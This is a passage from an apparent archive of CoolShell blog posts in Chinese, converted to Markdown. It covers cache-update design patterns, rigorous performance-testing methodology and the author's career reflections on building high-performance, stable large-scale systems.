本来酷壳上是不做广告的，今天，酷壳上也广告，但是广告费是全部捐给Wikipedia的，广告主的钱是没有到我的手的。\n\n\n微信公众号上的文章都有软文和广告植放，我觉得这不是我的调调，我害怕微信公众平台的整体格调影响了我的格调。就好像我认为我的网络被百度检索到了会我的网站的格调下降好几个档次。所以，我还是保持一定的距离吧。\n\n\n**这么说吧，我写文章不是为了挣钱，我也不认为写文章能挣到钱，我写文章就是为了分享和影响，我会借助社交网络，但不会寄宿在社交网络上，更不会被社交网络所绑架。**\n\n\n谢谢看我的唠叨！\n\n\n（全文完）\n\n\n \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/8422.html)[TF-IDF模型的概率解释](https://coolshell.cn/articles/8422.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/8031.html)[InfoQ的ArchSummit大会对我的采访](https://coolshell.cn/articles/8031.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/1092.html)[Top 200的全球开发者BLOG](https://coolshell.cn/articles/1092.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/1714.html)[Firefox插件WebMail Notifier](https://coolshell.cn/articles/1714.html)\n* [![简明 Vim 练级攻略](../wp-content/uploads/2011/09/rectangular-blocks-150x150.gif)](https://coolshell.cn/articles/5426.html)[简明 Vim 练级攻略](https://coolshell.cn/articles/5426.html)\n* [![SQL的Where语句](../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg)](https://coolshell.cn/articles/1889.html)[SQL的Where语句](https://coolshell.cn/articles/1889.html)\nThe post [为什么我不在微信公众号上写文章](https://coolshell.cn/articles/17391.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-7-27 缓存更新的套路.md",
    "content": "---\nlayout: post\ntitle: 缓存更新的套路\ndate: 2016/7/27/ 8:25:28\nupdated: 2016/7/27/ 8:25:28\nstatus: publish\npublished: true\ntype: post\n---\n\n![cache](../wp-content/uploads/2016/07/cache-300x158.png)看到好些人在写更新缓存数据代码时，**先删除缓存，然后再更新数据库**，而后续的操作会把数据再装载的缓存中。**然而，这个是逻辑是错误的**。试想，两个并发操作，一个是更新操作，另一个是查询操作，更新操作删除缓存后，查询操作没有命中缓存，先把老数据读出来后放到缓存中，然后更新操作更新了数据库。于是，在缓存中的数据还是老的数据，导致缓存中的数据是脏的，而且还一直这样脏下去了。\n\n\n我不知道为什么这么多人用的都是这个逻辑，当我在微博上发了这个贴以后，我发现好些人给了好多非常复杂和诡异的方案，所以，我想写这篇文章说一下几个缓存更新的Design Pattern（让我们多一些套路吧）。\n\n\n这里，我们先不讨论更新缓存和更新数据这两个事是一个事务的事，或是会有失败的可能，我们先假设更新数据库和更新缓存都可以成功的情况（我们先把成功的代码逻辑先写对）。\n\n\n更新缓存的的Design Pattern有四种：Cache aside, Read through, Write through, Write behind caching，我们下面一一来看一下这四种Pattern。\n\n\n\n#### Cache Aside Pattern\n\n\n这是最常用最常用的pattern了。其具体逻辑如下：\n\n\n* **失效**：应用程序先从cache取数据，没有得到，则从数据库中取数据，成功后，放到缓存中。\n\n\n* **命中**：应用程序从cache中取数据，取到后返回。\n\n\n* **更新**：先把数据存到数据库中，成功后，再让缓存失效。\n\n\n![Cache-Aside-Design-Pattern-Flow-Diagram](../wp-content/uploads/2016/07/Cache-Aside-Design-Pattern-Flow-Diagram-e1470471723210.png)\n\n\n![Updating-Data-using-the-Cache-Aside-Pattern-Flow-Diagram-1](../wp-content/uploads/2016/07/Updating-Data-using-the-Cache-Aside-Pattern-Flow-Diagram-1-e1470471761402.png)\n\n\n注意，我们的更新是先更新数据库，成功后，让缓存失效。那么，这种方式是否可以没有文章前面提到过的那个问题呢？我们可以脑补一下。\n\n\n一个是查询操作，一个是更新操作的并发，首先，没有了删除cache数据的操作了，而是先更新了数据库中的数据，此时，缓存依然有效，所以，并发的查询操作拿的是没有更新的数据，但是，更新操作马上让缓存的失效了，后续的查询操作再把数据从数据库中拉出来。而不会像文章开头的那个逻辑产生的问题，后续的查询操作一直都在取老的数据。\n\n\n这是标准的design pattern，包括Facebook的论文《[Scaling Memcache at Facebook](https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final170_update.pdf)》也使用了这个策略。为什么不是写完数据库后更新缓存？你可以看一下Quora上的这个问答《[Why does Facebook use delete to remove the key-value pair in Memcached instead of updating the Memcached during write request to the backend?](https://www.quora.com/Why-does-Facebook-use-delete-to-remove-the-key-value-pair-in-Memcached-instead-of-updating-the-Memcached-during-write-request-to-the-backend)》，主要是怕两个并发的写操作导致脏数据。\n\n\n那么，是不是Cache Aside这个就不会有并发问题了？不是的，比如，一个是读操作，但是没有命中缓存，然后就到数据库中取数据，此时来了一个写操作，写完数据库后，让缓存失效，然后，之前的那个读操作再把老的数据放进去，所以，会造成脏数据。\n\n\n但，这个case理论上会出现，不过，实际上出现的概率可能非常低，因为这个条件需要发生在读缓存时缓存失效，而且并发着有一个写操作。而实际上数据库的写操作会比读操作慢得多，而且还要锁表，而读操作必需在写操作前进入数据库操作，而又要晚于写操作更新缓存，所有的这些条件都具备的概率基本并不大。\n\n\n**所以，这也就是Quora上的那个答案里说的，要么通过2PC或是Paxos协议保证一致性，要么就是拼命的降低并发时脏数据的概率，而Facebook使用了这个降低概率的玩法，因为2PC太慢，而Paxos太复杂。当然，最好还是为缓存设置上过期时间。**\n\n\n#### Read/Write Through Pattern\n\n\n我们可以看到，在上面的Cache Aside套路中，我们的应用代码需要维护两个数据存储，一个是缓存（Cache），一个是数据库（Repository）。所以，应用程序比较啰嗦。而Read/Write Through套路是把更新数据库（Repository）的操作由缓存自己代理了，所以，对于应用层来说，就简单很多了。**可以理解为，应用认为后端就是一个单一的存储，而存储自己维护自己的Cache。**\n\n\n##### Read Through\n\n\nRead Through 套路就是在查询操作中更新缓存，也就是说，当缓存失效的时候（过期或LRU换出），Cache Aside是由调用方负责把数据加载入缓存，而Read Through则用缓存服务自己来加载，从而对应用方是透明的。\n\n\n##### Write Through\n\n\nWrite Through 套路和Read Through相仿，不过是在更新数据时发生。当有数据更新的时候，如果没有命中缓存，直接更新数据库，然后返回。如果命中了缓存，则更新缓存，然后再由Cache自己更新数据库（这是一个同步操作）\n\n\n下图自来Wikipedia的[Cache词条](https://en.wikipedia.org/wiki/Cache_(computing))。其中的Memory你可以理解为就是我们例子里的数据库。\n\n\n![Write-through_with_no-write-allocation](../wp-content/uploads/2016/07/460px-Write-through_with_no-write-allocation.svg_.png)\n\n\n#### Write Behind Caching Pattern\n\n\nWrite Behind 又叫 Write Back。**一些了解Linux操作系统内核的同学对write back应该非常熟悉，这不就是Linux文件系统的Page Cache的算法吗？是的，你看基础这玩意全都是相通的。**所以，基础很重要，我已经不是一次说过基础很重要这事了。\n\n\nWrite Back套路，一句说就是，在更新数据的时候，只更新缓存，不更新数据库，而我们的缓存会异步地批量更新数据库。这个设计的好处就是让数据的I/O操作飞快无比（因为直接操作内存嘛 ），因为异步，write backg还可以合并对同一个数据的多次操作，所以性能的提高是相当可观的。\n\n\n但是，其带来的问题是，数据不是强一致性的，而且可能会丢失（我们知道Unix/Linux非正常关机会导致数据丢失，就是因为这个事）。在软件设计上，我们基本上不可能做出一个没有缺陷的设计，就像算法设计中的时间换空间，空间换时间一个道理，有时候，强一致性和高性能，高可用和高性性是有冲突的。软件设计从来都是取舍Trade-Off。\n\n\n另外，Write Back实现逻辑比较复杂，因为他需要track有哪数据是被更新了的，需要刷到持久层上。操作系统的write back会在仅当这个cache需要失效的时候，才会被真正持久起来，比如，内存不够了，或是进程退出了等情况，这又叫lazy write。\n\n\n在wikipedia上有一张write back的流程图，基本逻辑如下：\n\n\n![Write-back_with_write-allocation](../wp-content/uploads/2016/07/Write-back_with_write-allocation.png)\n\n\n \n\n\n#### 再多唠叨一些\n\n\n1）上面讲的这些Design Pattern，其实并不是软件架构里的mysql数据库和memcache/redis的更新策略，这些东西都是计算机体系结构里的设计，比如CPU的缓存，硬盘文件系统中的缓存，硬盘上的缓存，数据库中的缓存。**基本上来说，这些缓存更新的设计模式都是非常老古董的，而且历经长时间考验的策略**，所以这也就是，工程学上所谓的Best Practice，遵从就好了。\n\n\n2）有时候，我们觉得能做宏观的系统架构的人一定是很有经验的，其实，宏观系统架构中的很多设计都来源于这些微观的东西。比如，云计算中的很多虚拟化技术的原理，和传统的虚拟内存不是很像么？Unix下的那些I/O模型，也放大到了架构里的同步异步的模型，还有Unix发明的管道不就是数据流式计算架构吗？TCP的好些设计也用在不同系统间的通讯中，仔细看看这些微观层面，你会发现有很多设计都非常精妙……所以，**请允许我在这里放句观点鲜明的话——如果你要做好架构，首先你得把计算机体系结构以及很多老古董的基础技术吃透了**。\n\n\n3）在软件开发或设计中，我非常建议在之前先去参考一下已有的设计和思路，**看看相应的guideline，best practice或design pattern，吃透了已有的这些东西，再决定是否要重新发明轮子**。千万不要似是而非地，想当然的做软件设计。\n\n\n4）上面，我们没有考虑缓存（Cache）和持久层（Repository）的整体事务的问题。比如，更新Cache成功，更新数据库失败了怎么吗？或是反过来。关于这个事，如果你需要强一致性，你需要使用“两阶段提交协议”——prepare, commit/rollback，比如Java 7 的[XAResource](http://docs.oracle.com/javaee/7/api/javax/transaction/xa/XAResource.html)，还有MySQL 5.7的 [XA Transaction](http://dev.mysql.com/doc/refman/5.7/en/xa.html)，有些cache也支持XA，比如[EhCache](http://www.ehcache.org/documentation/3.0/xa.html)。当然，XA这样的强一致性的玩法会导致性能下降，关于分布式的事务的相关话题，你可以看看《[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)》一文。\n\n\n（全文完）\n\n\n \n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [![从面向对象的设计模式看软件设计](../wp-content/uploads/2013/01/kiss-150x150.png)](https://coolshell.cn/articles/8961.html)[从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html)\n* [![用Unix的设计思想来应对多变的需求](../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg)](https://coolshell.cn/articles/7236.html)[用Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/6950.html)[需求变化与IoC](https://coolshell.cn/articles/6950.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\nThe post [缓存更新的套路](https://coolshell.cn/articles/17416.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-7-5 性能测试应该怎么做？.md",
    "content": "---\nlayout: post\ntitle: 性能测试应该怎么做？\ndate: 2016/7/5/ 17:3:26\nupdated: 2016/7/5/ 17:3:26\nstatus: publish\npublished: true\ntype: post\n---\n\n![PerfTest](../wp-content/uploads/2016/07/PerfTest.png)偶然间看到了阿里中间件[Dubbo的性能测试报告](http://dubbo.io/User+Guide-zh.htm#UserGuide-zh-%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95%E6%8A%A5%E5%91%8A)，我觉得这份性能测试报告让人觉得做这性能测试的人根本不懂性能测试，我觉得这份报告会把大众带沟里去，所以，想写下这篇文章，做一点科普。\n\n\n首先，这份测试报告里的主要问题如下：\n\n\n**1）用的全是平均值**。老实说，平均值是非常不靠谱的。\n\n\n**2）响应时间没有和吞吐量TPS/QPS挂钩**。而只是测试了低速率的情况，这是完全错误的。\n\n\n**3）响应时间和吞吐量没有和成功率挂钩。**\n\n\n\n#### 为什么平均值不靠谱\n\n\n关于平均值为什么不靠谱，我相信大家读新闻的时候经常可以看到，**平均工资**，**平均房价**，**平均支出**，等等这样的字眼，你就知道为什么平均值不靠谱了。（这些都是数学游戏，对于理工科的同学来说，天生应该有免疫力）\n\n\n软件的性能测试也一样，平均数也是不靠谱的，这里可以参看这篇详细的文章《[Why Averages Suck and Percentiles are Great](http://apmblog.dynatrace.com/2012/11/14/why-averages-suck-and-percentiles-are-great/)》，我在这里简单说一下。\n\n\n我们知道，性能测试时，测试得到的结果数据不总是一样的，而是有高有低的，如果算平均值就会出现这样的情况，假如，测试了10次，有9次是1ms，而有1次是1s，那么平均数据就是100ms，很明显，这完全不能反应性能测试的情况，也许那1s的请求就是一个不正常的值，是个噪点，应该去掉。所以，我们会在一些评委打分中看到要去掉一个最高分一个最低分，然后再算平均值。\n\n\n另外，中位数（Mean）可能会比平均数要稍微靠谱一些，所谓中位数的意就是把将一组数据按大小顺序排列，处在最中间位置的一个数叫做这组数据的中位数 ，这意味着至少有50%的数据低于或高于这个中位数。\n\n\n当然，最为正确的统计做法是用百分比分布统计。也就是英文中的TP – Top Percentile ，TP50的意思在，50%的请求都小于某个值，TP90表示90%的请求小于某个时间。\n\n\n比如：我们有一组数据：[ 10ms,  1s, 200ms, 100ms]，我们把其从小到大排个序：[10ms, 100ms, 200ms, 1s]，于是我们知道，TP50，就是50%的请求ceil(4\\*0.5)=2时间是小于100ms的，TP90就是90%的请求ceil(4\\*0.9)=4时间小于1s。于是：TP50就是100ms，TP90就是1s。\n\n\n我以前在路透做的金融系统响应时间的性能测试的要求是这样的，**99.9%的请求必须小于1ms，所有的平均时间必须小于1ms。两个条件的限制。**\n\n\n#### 为什么响应时间（latency）要和吞吐量（Thoughput）挂钩\n\n\n系统的性能如果只看吞吐量，不看响应时间是没有意义的。我的系统可以顶10万请求，但是响应时间已经到了5秒钟，这样的系统已经不可用了，这样的吞吐量也是没有意义的。\n\n\n我们知道，当并发量（吞吐量）上涨的时候，系统会变得越来越不稳定，响应时间的波动也会越来越大，响应时间也会变得越来越慢，而吞吐率也越来越上不去（如下图所示），包括CPU的使用率情况也会如此。所以，当系统变得不稳定的时候，吞吐量已经没有意义了。吞吐量有意义的时候仅当系统稳定的时候。\n\n\n![BenchmarkOptimalRate](../wp-content/uploads/2016/07/BenchmarkOptimalRate.png)\n\n\n所以，**吞吐量的值必需有响应时间来卡。**比如：**TP99小于100ms的时候，系统可以承载的最大并发数是1000qps**。这意味着，我们要不断的在不同的并发数上测试，以找到软件的最稳定时的最大吞吐量。\n\n\n \n\n\n#### 为什么响应时间吞吐量和成功率要挂钩\n\n\n我们这应该不难理解了，如果请求不成功的话，都还做毛的性能测试。比如，我说我的系统并发可以达到10万，但是失败率是\n\n\n40%，那么，这10万的并发完全就是一个笑话了。\n\n\n性能测试的失败率的容忍应该是非常低的。对于一些关键系统，成功请求数必须在100%，一点都不能含糊。\n\n\n \n\n\n#### 如何严谨地做性能测试\n\n\n一般来说，性能测试要统一考虑这么几个因素：**Thoughput吞吐量**，**Latency响应时间**，**资源利用**（CPU/MEM/IO/Bandwidth…），**成功率**，**系统稳定性**。\n\n\n下面的这些性能测试的方式基本上来源自我的老老东家汤森路透，一家做real-time的金融数据系统的公司。\n\n\n**一，你得定义一个系统的响应时间latency，建议是TP99，以及成功率**。比如路透的定义：99.9%的响应时间必需在1ms之内，平均响应时间在1ms以内，100%的请求成功。\n\n\n**二，在这个响应时间的限制下，找到最高的吞吐量**。测试用的数据，需要有大中小各种尺寸的数据，并可以混合。最好使用生产线上的测试数据。\n\n\n**三，在这个吞吐量做Soak Test，比如：使用第二步测试得到的吞吐量连续7天的不间断的压测系统。**然后收集CPU，内存，硬盘/网络IO，等指标，查看系统是否稳定，比如，CPU是平稳的，内存使用也是平稳的。那么，这个值就是系统的性能\n\n\n**四，找到系统的极限值。比如：在成功率100%的情况下（不考虑响应时间的长短），系统能坚持10分钟的吞吐量。**\n\n\n**五，做Burst Test。用第二步得到的吞吐量执行5分钟，然后在第四步得到的极限值执行1分钟，再回到第二步的吞吐量执行5钟，再到第四步的权限值执行1分钟，如此往复个一段时间，比如2天。**收集系统数据：CPU、内存、硬盘/网络IO等，观察他们的曲线，以及相应的响应时间，确保系统是稳定的。\n\n\n**六、低吞吐量和网络小包的测试。**有时候，在低吞吐量的时候，可能会导致latency上升，比如TCP\\_NODELAY的参数没有开启会导致latency上升（详见[TCP的那些事](https://coolshell.cn/articles/11564.html)），而网络小包会导致带宽用不满也会导致性能上不去，所以，性能测试还需要根据实际情况有选择的测试一下这两咱场景。\n\n\n（注：在路透，路透会用第二步得到的吞吐量乘以66.7%来做为系统的软报警线，80%做为系统的硬报警线，而极限值仅仅用来扛突发的peak）\n\n\n**是不是很繁锁？是的，只因为，这是工程，工程是一门科学，科学是严谨的。**\n\n\n欢迎大家也分享一下你们性能测试的经验和方法。\n\n\n（全文完）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![分布式系统的事务处理](../wp-content/uploads/2014/01/trade-off-150x150.jpg)](https://coolshell.cn/articles/10910.html)[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\n* [![并发框架Disruptor译文](../wp-content/uploads/2013/02/Disruptor-150x150.png)](https://coolshell.cn/articles/9169.html)[并发框架Disruptor译文](https://coolshell.cn/articles/9169.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\nThe post [性能测试应该怎么做？](https://coolshell.cn/articles/17381.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-8-18 这多年来我一直在钻研的技术.md",
    "content": "---\nlayout: post\ntitle: 这多年来我一直在钻研的技术\ndate: 2016/8/18/ 10:55:17\nupdated: 2016/8/18/ 10:55:17\nstatus: publish\npublished: true\ntype: post\n---\n\n![Architecture Internships Abroad](../wp-content/uploads/2016/08/Architecture-Internships-Abroad-300x215.jpg)因为我是看到tinyfool 《[那些年我赶过的时髦技术趋势](http://weibo.com/ttarticle/p/show?id=2309404009795043653572)》，在赞叹的时候，也让我对我有好些回忆，所以想写一篇回忆贴，本来觉得回忆是件挺让人沮喪的事，因为是老了的表现，但我写着写着，就歪了楼。看来，我还不老，还在拼博。下面是很多我的唠叨，你喜欢就读读，不喜欢就TLDR – Too Long, Don’t Read!\n\n\n自从98年毕业，到今天，参加工作有18个年头了，加上在大三的时候就为两个在外面接活的老师程序，到今天，写的程序被用到生产线也有18个年头了。\n\n\n#### 背景经历\n\n\n要说明我技术上的“性取向”，还得我说说的我的一些背景和经历。\n\n\n我这18年，大约分三个阶段：\n\n\n* **1996年-2000年**：**入门乱来期**，大三大四加在银行工作的两年。\n\t+ 用Powerbuilder/Delphi在WindowsNT/SQL Server上做了好多个MIS管理软件，有酒店的，有送水的，有OA的。\n\t+ 用Java的Applet做了一个Web的教学课件，用于在Win95/IE3.0中演示操作系统中的各种调度和算法的动画，得了个全国大学生挑战者杯的鼓励奖。\n\t+ 用Delphi的ISAPI技术以及PHP/ASP给一些公司和大学做过几个网站。\n\n\n\n* **2000年-2010年**：**技术学习期**，这十年，我主要的编程语言是C/C++。\n\t+ 前两年在银行用C语言在Unix（AIX/Solaris/Sco Unix/HP-UX..）写各种银行业务（用C语言写），用C写操作SQL，操作界面，写业务交易逻辑，一切都用C……，这是一个C语言的年代，**当时，全国的银行都在做大集中，银行是当时行业里最大的软件系统了，所以，我确定了C/C++/Unix的技术方向**，我当时的网上签名是，*C/C++/Unix才是大规模杀伤性武器*。\n\t+ 然后，2002年在Platform做一个全平台的（包括Unix/Linux/Windows）高性能计算的软件产品，很像今天的Hadoop，当时叫Grid Computing，主要用低廉的x86集群进行大规模的并行计算，主要用于芯片设计行业，如：ARM和德州仪器，或是科研，如NASA，或是国家安全，如美国国防部的影像分析，或是3D动画渲染，如怪物史瑞克……从05年以后，发现很多用户开始从Unix迁移到Linux，于是开始更为关注Linux的Kernel知识。**Platform有一套很严谨的软件工程体系，我对严谨的软件工程以及很多的基础的技术的认识在这里形成**。\n\t+ 2007年在路透做路透全球金融数据Real-Time网络的高性能调优（我在《[性能测试应该怎么做？](https://coolshell.cn/articles/17381.html)》一文中透露过这个公司的性能要求，是一个实时的数据网络，对于99.9%的网络传输在100K的tps下要低于1ms，技术挑战是很大的），在路透，我只干一个事，就是性能优化，我把我负责的几个系统的性能都提升了8倍到15倍的样子，09年年底的时候，我已把未来3年的优化的活都干完了。所以，这个时期，我也开始了我的经理生涯。**我对性能调优，高可用系统架构，研发管理的很多是在这里形成的。**\n* **2010年到今天**，**技术沉淀期**，这个时间段，主要的编程语言是Java。\n\t+ 这段时间，我加入了Amazon和Alibaba，也就是所谓的互联网公司。在Amazon干了两个事，一个是把Amazon全球的marketplace连起来，跨大洲的数据中心的通信，还有一个是第一次接触大数据和机器学习——用户需求预测系统。在Alibaba干过电商云平台聚石塔和阿里云，去阿里最主要的是经历双十一。\n\t+ 这段时间，对我影响比较大的是Amazon，技术不再是我的瓶颈，大规模的系统，对我也不是问题，而让我收获最大的是，**世界前沿的软件设计架构和解决方案，以及做技术的态度和工程的方法，我的眼界、脑洞和视野都巨大的打开，并且在技术管理、工程管理、产品管理、人员管理、公司管理等等管理方面的思维有了质的提升**。这段时间，才是我真正技术沉淀的时期。\n\n\n我的这个背景本来可以更好一些，只可惜运气不太好，本来可以走的更快的，无奈在最关键的时候遇到了两次金融危机，本来可以去硅谷更牛更好的公司见世面，无奈父母身体欠安，只能放弃。\n\n\n#### 经历决定思维方式\n\n\n通过我的背景经历，大家不难看到，我基本上都是做一些规模比较大的系统和软件，而且，主要用C/C++/Unix/Linux这样比较晦涩的语言和操作系统。我们知道用C和C++开发，基本上要处理的错误都是和系统底层相应的东西，而上规模的系统和软件，又总是会遇到很多“稀奇古怪”的问题，这些问题，都会逼着我要去了解很多的操作系统、计算机系统、网络、数据库、中间件等等的各种基础或底层技术。\n\n\n而且我经历的基本上都是非常严谨的软件工程，不能马虎，我有几次马虎的经历，给我造成了非常大的心理影响，比如，曾经被定性为不适合写代码，因为我的代码太烂，或是出了严重的故障，几乎要跑路去了。另外，全球gloabl式的oncall，经常让我在凌晨被电话叫起来解决问题，这个经历比较痛苦。所以，**我的整个经历，让我养成了，在软件开发上必需也不得不严谨的习惯和价值观体系**。\n\n\n**大家想想，用C/C++开发一个几乎不能出故障的软件系统，你需要多仔细和多严谨的态度才能达到要求？**因此，我的经历让我不能马虎，也不能应付工作，更不能在标准上有所妥协，还需要不断地提高标准，所以，时间一长，我必然，会有如下的习惯：\n\n\n* **要做到——知其然，知其所以然**。所以，只能不断的学习基础知识以及和这个技术关联的知识，就像Wikipeida一样，当你进入一个词条的时候，就会伴随时一堆新词条，于是，当多年后，我看到 “**[知识广度是深度的副产品](https://coolshell.cn/articles/4235.html)**”这句话时，简直就是说到我的心里去了。\n\n\n* **要做出工业级的软件**。从银行到Platform到Thomson Reuters再到Amazon，软件开发上都会有SLA的要求。我认为，一个软件是工业级还是民用级的，除了功能正确之外，最重要的一个指标之一就是在性能和稳定性上有没有SLA。绝大多数的互联网公司和开源软件都没有SLA。所以，达不到工业级的标准。**要达到工业级的标准，就需要花费时间、人力和财力进行非常繁琐的设计、测试评估以及运维管理**。\n\n\n* **工业级的软件来自工业级专业人员和专业软件工程**。\n\t+ **专业的人员**。为什么绝大多数的外国公司需要的是CS（Computer Science）背景毕业的工程师？因为他们要做的是工业级的软件，这是一门科学，即然是科学，就需要受过良好的科学教育的CS专业的人。\n\t+ **专业的工程**。工业级的软件需要有工业级的软件工程，比如，严谨的Design/Code Review，严格的测试，以及完备的线上运维。\n\t+ **专业的工具**。这个时候，你就会发现，要做到高级别的SLA，比如包括5个9以上的SLA，人肉干活的能力已经完全跟不上了，你需要大量的专业的与之配套工具。**人类之所以聪明是因为会发明工具，所以，这也是工业级的另一个标准——你有多少现代化的支撑工具？**\n\n\n在之前的《[开发团队的效率](https://coolshell.cn/articles/11656.html)》一文中，我说过——**你总需要在一个环节上认真，这个环节越往前就越有效率，越往后你就越没效率**。要么你设计和编码认真点，不然，你就得在测试上认真点。要是你设计、编码、测试都不认真，那你就得在运维上认真，就得在处理故障上认真。你总需要在一个地方认真。\n\n\n认真是痛苦和艰难的，也是需要苦苦坚持的，因为人太容易妥协了，这对每个人来说都是一种不小的挑战。老实说，**我与很多人对“认真”的标准不一样，所以，产生了很多分歧，很多人说我太理想了。其实，我能理解他们，一方面是因为我的标准是比较高了，另一方面是他们只做过民用级的软件。**\n\n\n另外，在一开始，做惯了工业级软件的我极度地不适应于那些糙快猛的开发方式。不过，我也在调整自己，毕竟，世界不只一种价值观，有的是工业级的软件，有的则是民用级的，还有的只是个玩具，而且还有Java这门语言非常有效地屏蔽了很多底层和基础知识，所以，也不可一概而论，我也在适应一些民用级的软件开发的方式。\n\n\n#### 后记\n\n\n从去年我从阿里离开到现在14个月了，这段时间内，我给大约40多家公司做过相应的技术咨询和解决过很多技术问题，绝大多数公司都是因为性能和稳定性的问题来找我的，我给这些公司解决问题的时候，基本都是这样的Pattern：\n\n\n* 一开始，发现都是一些技术知识点的问题，\n* 然后，马上进入到系统架构方面方面的问题，\n* 当再解决架构问题的时候，我发现，已经是软件工程的问题，\n* 而软件工程问题的后面，又是公司管理上的问题\n* 而公司管理的问题，结果又到了人的问题上\n* 而人的问题，又到了公司文化的问题……\n\n\n你看，很多问题，一环扣一环，最终都不是一个简单的技术问题。我倒不是说，我在抱怨这些问题，我更不是在说能解决这些问题，因为，就像软件工程没有银弹一样，无论你给什么样的解决方案都会有问题，没有问题才是不科学的。我能做的是，观察这个公司的业务形态、和相关的思维方式，以及现有的资源和相应的技术实力，帮助他们从技术到管理上缓解或改善现有的问题。\n\n\n所以，我基本上来说，这近20年来，**我只在专心研究一个事——如何做出一个性能高稳定性好的大规模的系统。**在这个方向中，除了很多的基础和底层技术我需要吃透，我还需要在软件的开发工艺，软件工具，以及软件的线上运维，以及相关的管理上不断学习和思考，**因为，只有技术、工具、工程、运维、人员这几个方面搞好了，才可能出现一个性能高且稳定性好的系统**。\n\n\n之前对于我来说，我一直在鼓吹先进的管理和软件工程以及技术和工具。今天，对我来说，遇到最大的问题就是，在没有这些所谓的先进的东西的时候，除了我自己上手外，我是否还能解决相应的问题？因为我自己已经完全Scale不开了。\n\n\n有问题就有挑战，我每天都在思考，如何在不完美甚至残缺的环境下，解决这些公司的技术问题。每个人都要给自己一个目标。目前，我给自己的目标是——**在残缺的环境下，能让用户不改一行代码，不动任何的架构，不改变用户很糟糕的软件开发的习惯，也不让用户作任何管理上的调整，能提升用户的软件系统的性能和稳定性**。\n\n\n因为我相信技术，我相信有更好的技术，可以为用户完全透明的提升性能和稳定性，我大致找到了相应的解，现在，我正在实践的路上，这也许是笔大买卖，所以我不知天高地厚地注册了自己的公司……\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员的谎谬之言还是至理名言？](../wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg)](http://coolshell.cn/articles/4235.html)[程序员的谎谬之言还是至理名言？](http://coolshell.cn/articles/4235.html)\n* [![《Rework》摘录及感想](../wp-content/uploads/2013/03/rework-150x150.jpg)](http://coolshell.cn/articles/9156.html)[《Rework》摘录及感想](http://coolshell.cn/articles/9156.html)\n* [![编程能力与编程年龄](../wp-content/uploads/2013/11/StackOverflow-Analysis-01-150x150.jpg)](http://coolshell.cn/articles/10688.html)[编程能力与编程年龄](http://coolshell.cn/articles/10688.html)\n* [![开发团队的效率](../wp-content/uploads/2014/06/software_development-150x150.png)](http://coolshell.cn/articles/11656.html)[开发团队的效率](http://coolshell.cn/articles/11656.html)\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](http://coolshell.cn/articles/10217.html)[加班与效率](http://coolshell.cn/articles/10217.html)\n* [![从Code Review 谈如何做技术](../wp-content/uploads/2014/04/code_review-150x150.jpg)](http://coolshell.cn/articles/11432.html)[从Code Review 谈如何做技术](http://coolshell.cn/articles/11432.html)\nThe post [这多年来我一直在钻研的技术](https://coolshell.cn/articles/17446.html) first appeared on [酷 壳 - 